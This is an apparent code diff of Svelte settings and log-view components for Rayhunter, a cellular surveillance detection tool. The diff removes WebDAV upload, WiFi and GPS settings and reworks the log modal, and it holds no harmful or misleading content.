</div>
|
</div>
|
||||||
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
<div class="border-t pt-4 mt-6 space-y-3">
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Storage Management</h3>
|
<h3 class="text-lg font-semibold text-gray-800 mb-4">Storage Management</h3>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
@@ -345,7 +256,7 @@
|
|||||||
type="number"
|
type="number"
|
||||||
min="1"
|
min="1"
|
||||||
bind:value={config.min_space_to_start_recording_mb}
|
bind:value={config.min_space_to_start_recording_mb}
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
/>
|
/>
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
<p class="text-xs text-gray-500 mt-1">
|
||||||
Recording will not start if less than this amount of disk space is free
|
Recording will not start if less than this amount of disk space is free
|
||||||
@@ -364,7 +275,7 @@
|
|||||||
type="number"
|
type="number"
|
||||||
min="1"
|
min="1"
|
||||||
bind:value={config.min_space_to_continue_recording_mb}
|
bind:value={config.min_space_to_continue_recording_mb}
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
/>
|
/>
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
<p class="text-xs text-gray-500 mt-1">
|
||||||
Recording will stop automatically if disk space drops below this level
|
Recording will stop automatically if disk space drops below this level
|
||||||
@@ -372,291 +283,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
<div class="border-t pt-4 mt-6">
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">WebDAV Upload</h3>
|
|
||||||
<p class="text-xs text-gray-500">
|
|
||||||
Once a recording has been closed for at least the configured age, both the
|
|
||||||
.qmdl and .ndjson files are uploaded in the background to the WebDAV server.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<ExpandableInput
|
|
||||||
bind:value={config.webdav.url}
|
|
||||||
checkboxId="webdav_enabled"
|
|
||||||
inputId="webdav_url"
|
|
||||||
label="Enable WebDAV upload"
|
|
||||||
inputLabel="Server URL"
|
|
||||||
inputPlaceholder="https://dav.example.com/rayhunter/"
|
|
||||||
inputHelp="Files are uploaded via HTTP PUT under this base URL. No folders are created, and folders in this base URL are assumed to exist already."
|
|
||||||
>
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="webdav_username"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Username
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="webdav_username"
|
|
||||||
type="text"
|
|
||||||
bind:value={config.webdav.username}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
Optional. Leave blank for unauthenticated uploads.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="webdav_password"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Password
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="webdav_password"
|
|
||||||
type="password"
|
|
||||||
bind:value={config.webdav.password}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
A password without a username will be rejected and the request will
|
|
||||||
be sent unauthenticated.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="webdav_upload_timeout_secs"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Upload Timeout (seconds)
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="webdav_upload_timeout_secs"
|
|
||||||
type="number"
|
|
||||||
min="1"
|
|
||||||
bind:value={config.webdav.upload_timeout_secs}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="webdav_poll_interval_secs"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Poll Interval (seconds)
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="webdav_poll_interval_secs"
|
|
||||||
type="number"
|
|
||||||
min="1"
|
|
||||||
bind:value={config.webdav.poll_interval_secs}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
How often the worker checks for new entries to upload.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="webdav_min_age_secs"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Minimum Age Before Upload (seconds)
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="webdav_min_age_secs"
|
|
||||||
type="number"
|
|
||||||
min="0"
|
|
||||||
bind:value={config.webdav.min_age_secs}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
How long a recording must be closed before it becomes eligible for
|
|
||||||
upload.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
id="webdav_delete_on_upload"
|
|
||||||
type="checkbox"
|
|
||||||
bind:checked={config.webdav.delete_on_upload}
|
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
|
||||||
/>
|
|
||||||
<label
|
|
||||||
for="webdav_delete_on_upload"
|
|
||||||
class="ml-2 block text-sm text-gray-700"
|
|
||||||
>
|
|
||||||
Delete on successful upload
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
<p class="text-xs text-gray-500">
|
|
||||||
When enabled, the local files are removed after a successful upload.
|
|
||||||
Otherwise the manifest is just marked as uploaded.
|
|
||||||
</p>
|
|
||||||
</ExpandableInput>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{#if config.device === 'orbic' || config.device === 'moxee' || config.device === 'tmobile' || config.device === 'wingtech'}
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">WiFi Client Mode</h3>
|
|
||||||
<p class="text-xs text-gray-500">
|
|
||||||
Connect the device to an existing WiFi network for internet access (e.g.
|
|
||||||
notifications, remote access). The hotspot AP stays running alongside
|
|
||||||
WiFi client mode.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
id="wifi_enabled"
|
|
||||||
type="checkbox"
|
|
||||||
bind:checked={config.wifi_enabled}
|
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
|
||||||
/>
|
|
||||||
<label for="wifi_enabled" class="ml-2 block text-sm text-gray-700">
|
|
||||||
Enable WiFi
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
<p class="text-xs text-gray-500">
|
|
||||||
Unchecking stops WiFi without clearing saved credentials.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
{#if wifiStatus && config.wifi_enabled}
|
|
||||||
{#if wifiStatus.state === 'connected'}
|
|
||||||
<p class="text-xs text-green-600">
|
|
||||||
Connected to "{wifiStatus.ssid}" ({wifiStatus.ip})
|
|
||||||
</p>
|
|
||||||
{:else if wifiStatus.state === 'connecting'}
|
|
||||||
<p class="text-xs text-amber-600">Connecting...</p>
|
|
||||||
{:else if wifiStatus.state === 'recovering'}
|
|
||||||
<p class="text-xs text-amber-600">Recovering connection...</p>
|
|
||||||
{:else if wifiStatus.state === 'dataPathDead'}
|
|
||||||
<p class="text-xs text-amber-600">
|
|
||||||
Data path stalled, attempting recovery...
|
|
||||||
</p>
|
|
||||||
{:else if wifiStatus.state === 'failed'}
|
|
||||||
<p class="text-xs text-red-600">
|
|
||||||
Failed: {wifiStatus.error}
|
|
||||||
</p>
|
|
||||||
{/if}
|
|
||||||
{/if}
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="wifi_ssid"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
WiFi Network Name (SSID)
|
|
||||||
</label>
|
|
||||||
<div class="flex gap-2">
|
|
||||||
<input
|
|
||||||
id="wifi_ssid"
|
|
||||||
type="text"
|
|
||||||
bind:value={config.wifi_ssid}
|
|
||||||
placeholder="MyWiFiNetwork"
|
|
||||||
class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onclick={do_scan}
|
|
||||||
disabled={scanning}
|
|
||||||
class="px-3 py-2 text-sm bg-gray-100 hover:bg-gray-200 disabled:opacity-50 border border-gray-300 rounded-md"
|
|
||||||
>
|
|
||||||
{scanning ? 'Scanning...' : 'Scan'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{#if scanError}
|
|
||||||
<p class="text-xs text-red-600">{scanError}</p>
|
|
||||||
{/if}
|
|
||||||
|
|
||||||
{#if scanResults.length > 0}
|
|
||||||
<div
|
|
||||||
class="border border-gray-200 rounded-md max-h-40 overflow-y-auto divide-y divide-gray-200"
|
|
||||||
>
|
|
||||||
{#each scanResults as network}
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
class="w-full px-3 py-2 text-left text-sm hover:bg-gray-50 flex justify-between"
|
|
||||||
onclick={() => select_network(network)}
|
|
||||||
>
|
|
||||||
<span>{network.ssid}</span>
|
|
||||||
<span class="text-gray-400"
|
|
||||||
>{network.signal_dbm} dBm · {network.security}</span
|
|
||||||
>
|
|
||||||
</button>
|
|
||||||
{/each}
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
|
|
||||||
{#if config.wifi_ssid}
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="wifi_security"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
Security Type
|
|
||||||
</label>
|
|
||||||
<select
|
|
||||||
id="wifi_security"
|
|
||||||
bind:value={config.wifi_security}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
>
|
|
||||||
<option value="wpa_psk">WPA2 (WPA-PSK)</option>
|
|
||||||
<option value="sae">WPA3 (SAE)</option>
|
|
||||||
</select>
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="wifi_password"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
WiFi Password
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="wifi_password"
|
|
||||||
type="password"
|
|
||||||
bind:value={config.wifi_password}
|
|
||||||
placeholder="Enter password"
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
Changing the network requires re-entering the password.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{#if config.wifi_ssid}
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="dns_servers"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>
|
|
||||||
DNS Servers
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="dns_servers"
|
|
||||||
type="text"
|
|
||||||
bind:value={dnsServersInput}
|
|
||||||
placeholder="9.9.9.9, 149.112.112.112"
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
Comma-separated. Used when WiFi is active. Defaults to 9.9.9.9,
|
|
||||||
149.112.112.112 (Quad9).
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6">
|
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">
|
<h3 class="text-lg font-semibold text-gray-800 mb-4">
|
||||||
Analyzer Heuristic Settings
|
Analyzer Heuristic Settings
|
||||||
</h3>
|
</h3>
|
||||||
@@ -666,7 +293,7 @@
|
|||||||
id="imsi_requested"
|
id="imsi_requested"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.imsi_requested}
|
bind:checked={config.analyzers.imsi_requested}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
|
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
|
||||||
IMSI Requested Heuristic
|
IMSI Requested Heuristic
|
||||||
@@ -678,7 +305,7 @@
|
|||||||
id="connection_redirect_2g_downgrade"
|
id="connection_redirect_2g_downgrade"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
|
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label
|
<label
|
||||||
for="connection_redirect_2g_downgrade"
|
for="connection_redirect_2g_downgrade"
|
||||||
@@ -693,7 +320,7 @@
|
|||||||
id="lte_sib6_and_7_downgrade"
|
id="lte_sib6_and_7_downgrade"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
|
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label
|
<label
|
||||||
for="lte_sib6_and_7_downgrade"
|
for="lte_sib6_and_7_downgrade"
|
||||||
@@ -708,7 +335,7 @@
|
|||||||
id="null_cipher"
|
id="null_cipher"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.null_cipher}
|
bind:checked={config.analyzers.null_cipher}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
|
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||||
Null Cipher Heuristic
|
Null Cipher Heuristic
|
||||||
@@ -720,7 +347,7 @@
|
|||||||
id="nas_null_cipher"
|
id="nas_null_cipher"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.nas_null_cipher}
|
bind:checked={config.analyzers.nas_null_cipher}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
|
<label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||||
NAS Null Cipher Heuristic
|
NAS Null Cipher Heuristic
|
||||||
@@ -732,7 +359,7 @@
|
|||||||
id="incomplete_sib"
|
id="incomplete_sib"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.incomplete_sib}
|
bind:checked={config.analyzers.incomplete_sib}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
|
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
|
||||||
Incomplete SIB Heuristic
|
Incomplete SIB Heuristic
|
||||||
@@ -744,7 +371,7 @@
|
|||||||
id="test_analyzer"
|
id="test_analyzer"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.test_analyzer}
|
bind:checked={config.analyzers.test_analyzer}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
|
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
|
||||||
Test Heuristic (noisy!)
|
Test Heuristic (noisy!)
|
||||||
@@ -755,7 +382,7 @@
|
|||||||
id="diagnostic_analyzer"
|
id="diagnostic_analyzer"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.analyzers.diagnostic_analyzer}
|
bind:checked={config.analyzers.diagnostic_analyzer}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label
|
<label
|
||||||
for="diagnostic_analyzer"
|
for="diagnostic_analyzer"
|
||||||
@@ -767,74 +394,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">GPS Settings</h3>
|
|
||||||
<div>
|
|
||||||
<label for="gps_mode" class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>GPS Mode</label
|
|
||||||
>
|
|
||||||
<select
|
|
||||||
id="gps_mode"
|
|
||||||
bind:value={config.gps_mode}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
>
|
|
||||||
<option value={GpsMode.Disabled}>Disabled</option>
|
|
||||||
<option value={GpsMode.Fixed}>Fixed coordinates</option>
|
|
||||||
<option value={GpsMode.Api}>API endpoint</option>
|
|
||||||
</select>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
{#if config.gps_mode === GpsMode.Api}
|
|
||||||
POST latitude and longitude to <code>/api/gps</code> from any device on
|
|
||||||
the network. Timestamp is derived from packet capture timing.
|
|
||||||
{:else if config.gps_mode === GpsMode.Fixed}
|
|
||||||
GPS coordinates are fixed to the values below.
|
|
||||||
{:else}
|
|
||||||
GPS is disabled; no coordinates will be tracked.
|
|
||||||
{/if}
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
{#if config.gps_mode === GpsMode.Fixed}
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="gps_fixed_latitude"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>Fixed Latitude</label
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
id="gps_fixed_latitude"
|
|
||||||
type="number"
|
|
||||||
min="-90"
|
|
||||||
max="90"
|
|
||||||
step="any"
|
|
||||||
required
|
|
||||||
bind:value={config.gps_fixed_latitude}
|
|
||||||
placeholder="e.g. 37.7749"
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">Decimal degrees, -90 to 90</p>
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<label
|
|
||||||
for="gps_fixed_longitude"
|
|
||||||
class="block text-sm font-medium text-gray-700 mb-1"
|
|
||||||
>Fixed Longitude</label
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
id="gps_fixed_longitude"
|
|
||||||
type="number"
|
|
||||||
min="-180"
|
|
||||||
max="180"
|
|
||||||
step="any"
|
|
||||||
required
|
|
||||||
bind:value={config.gps_fixed_longitude}
|
|
||||||
placeholder="e.g. -122.4194"
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-gray-500 mt-1">Decimal degrees, -180 to 180</p>
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="flex gap-2 pt-4">
|
<div class="flex gap-2 pt-4">
|
||||||
<button
|
<button
|
||||||
type="submit"
|
type="submit"
|
||||||
@@ -867,7 +426,7 @@
|
|||||||
</form>
|
</form>
|
||||||
{#if message}
|
{#if message}
|
||||||
<div
|
<div
|
||||||
class="mt-4 p-3 rounded-sm {messageType === 'error'
|
class="mt-4 p-3 rounded {messageType === 'error'
|
||||||
? 'bg-red-100 text-red-700'
|
? 'bg-red-100 text-red-700'
|
||||||
: 'bg-green-100 text-green-700'}"
|
: 'bg-green-100 text-green-700'}"
|
||||||
>
|
>
|
||||||
@@ -879,5 +438,5 @@
|
|||||||
Failed to load configuration. Please try reloading the page.
|
Failed to load configuration. Please try reloading the page.
|
||||||
</div>
|
</div>
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
{/if}
|
||||||
</Modal>
|
</div>
|
||||||
|
|||||||
@@ -5,8 +5,8 @@
|
|||||||
<div class="flex flex-row justify-end gap-2">
|
<div class="flex flex-row justify-end gap-2">
|
||||||
<DeleteButton
|
<DeleteButton
|
||||||
text="Delete ALL Recordings"
|
text="Delete ALL Recordings"
|
||||||
prompt="Are you sure you want to delete ALL recordings?"
|
prompt={`Are you sure you want to delete ALL recordings?`}
|
||||||
url="/api/delete-all-recordings"
|
url={`/api/delete-all-recordings`}
|
||||||
name="all recodings"
|
name="all recodings"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,82 +0,0 @@
|
|||||||
<script lang="ts">
|
|
||||||
import type { Snippet } from 'svelte';
|
|
||||||
|
|
||||||
let {
|
|
||||||
value = $bindable(''),
|
|
||||||
checkboxId,
|
|
||||||
inputId,
|
|
||||||
label,
|
|
||||||
inputLabel,
|
|
||||||
inputPlaceholder = '',
|
|
||||||
inputHelp = '',
|
|
||||||
children,
|
|
||||||
}: {
|
|
||||||
value: string | null;
|
|
||||||
checkboxId: string;
|
|
||||||
inputId: string;
|
|
||||||
label: string;
|
|
||||||
inputLabel: string;
|
|
||||||
inputPlaceholder?: string;
|
|
||||||
inputHelp?: string;
|
|
||||||
children?: Snippet;
|
|
||||||
} = $props();
|
|
||||||
|
|
||||||
function has_value(text: string | null) {
|
|
||||||
return text !== null && text.trim() !== '';
|
|
||||||
}
|
|
||||||
|
|
||||||
let expanded = $state(has_value(value));
|
|
||||||
let inputElement = $state<HTMLInputElement | null>(null);
|
|
||||||
|
|
||||||
function handle_checkbox_change(e: Event) {
|
|
||||||
expanded = (e.currentTarget as HTMLInputElement).checked;
|
|
||||||
if (expanded) {
|
|
||||||
setTimeout(() => inputElement?.focus(), 0);
|
|
||||||
} else {
|
|
||||||
value = '';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function handle_input_blur() {
|
|
||||||
if (!has_value(value)) {
|
|
||||||
expanded = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
id={checkboxId}
|
|
||||||
type="checkbox"
|
|
||||||
checked={expanded}
|
|
||||||
onchange={handle_checkbox_change}
|
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
|
||||||
/>
|
|
||||||
<label for={checkboxId} class="ml-2 block text-sm text-gray-700">
|
|
||||||
{label}
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{#if expanded}
|
|
||||||
<div>
|
|
||||||
<label for={inputId} class="block text-sm font-medium text-gray-700 mb-1">
|
|
||||||
{inputLabel}
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id={inputId}
|
|
||||||
type="text"
|
|
||||||
bind:this={inputElement}
|
|
||||||
bind:value
|
|
||||||
onblur={handle_input_blur}
|
|
||||||
placeholder={inputPlaceholder}
|
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
|
||||||
/>
|
|
||||||
{#if inputHelp}
|
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
|
||||||
{inputHelp}
|
|
||||||
</p>
|
|
||||||
{/if}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{@render children?.()}
|
|
||||||
{/if}
|
|
||||||
@@ -1,13 +1,34 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import { get_logs } from '$lib/utils.svelte';
|
import { get_logs } from '$lib/utils.svelte';
|
||||||
import Modal from './Modal.svelte';
|
import { onMount } from 'svelte';
|
||||||
|
|
||||||
let { shown = $bindable() }: { shown: boolean } = $props();
|
let { shown = $bindable() }: { shown: boolean } = $props();
|
||||||
let content: string | undefined = $state(undefined);
|
let content: string | undefined = $state(undefined);
|
||||||
|
|
||||||
|
onMount(() => {
|
||||||
|
// Used by LogView modal
|
||||||
|
window.addEventListener('scroll', () => {
|
||||||
|
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
$effect(() => {
|
$effect(() => {
|
||||||
|
if (shown) {
|
||||||
|
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
|
||||||
|
const body = document.body;
|
||||||
|
body.style.position = 'fixed';
|
||||||
|
body.style.top = `-${scrollY}`;
|
||||||
|
} else {
|
||||||
|
const body = document.body;
|
||||||
|
const scrollY = body.style.top;
|
||||||
|
body.style.position = '';
|
||||||
|
body.style.top = '';
|
||||||
|
window.scrollTo(0, parseInt(scrollY || '0') * -1);
|
||||||
|
}
|
||||||
|
|
||||||
const interval = setInterval(async () => {
|
const interval = setInterval(async () => {
|
||||||
try {
|
try {
|
||||||
|
// Don't update UI if browser tab isn't visible
|
||||||
if (content !== undefined && (document.hidden || !shown)) {
|
if (content !== undefined && (document.hidden || !shown)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -21,8 +42,33 @@
|
|||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<Modal bind:shown title="Logs">
|
{#if shown}
|
||||||
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
|
<div
|
||||||
<pre class="m-2">{content}</pre>
|
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
|
||||||
|
flex flex-col p-2 drop-shadow"
|
||||||
|
>
|
||||||
|
<div class="flex h-20 justify-between items-center p-1">
|
||||||
|
<span class="text-2xl mb-2">Log</span>
|
||||||
|
<button onclick={() => (shown = false)} aria-label="close">
|
||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
aria-hidden="true"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
fill="currentColor"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
>
|
||||||
|
<path
|
||||||
|
fill-rule="evenodd"
|
||||||
|
clip-rule="evenodd"
|
||||||
|
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
|
||||||
|
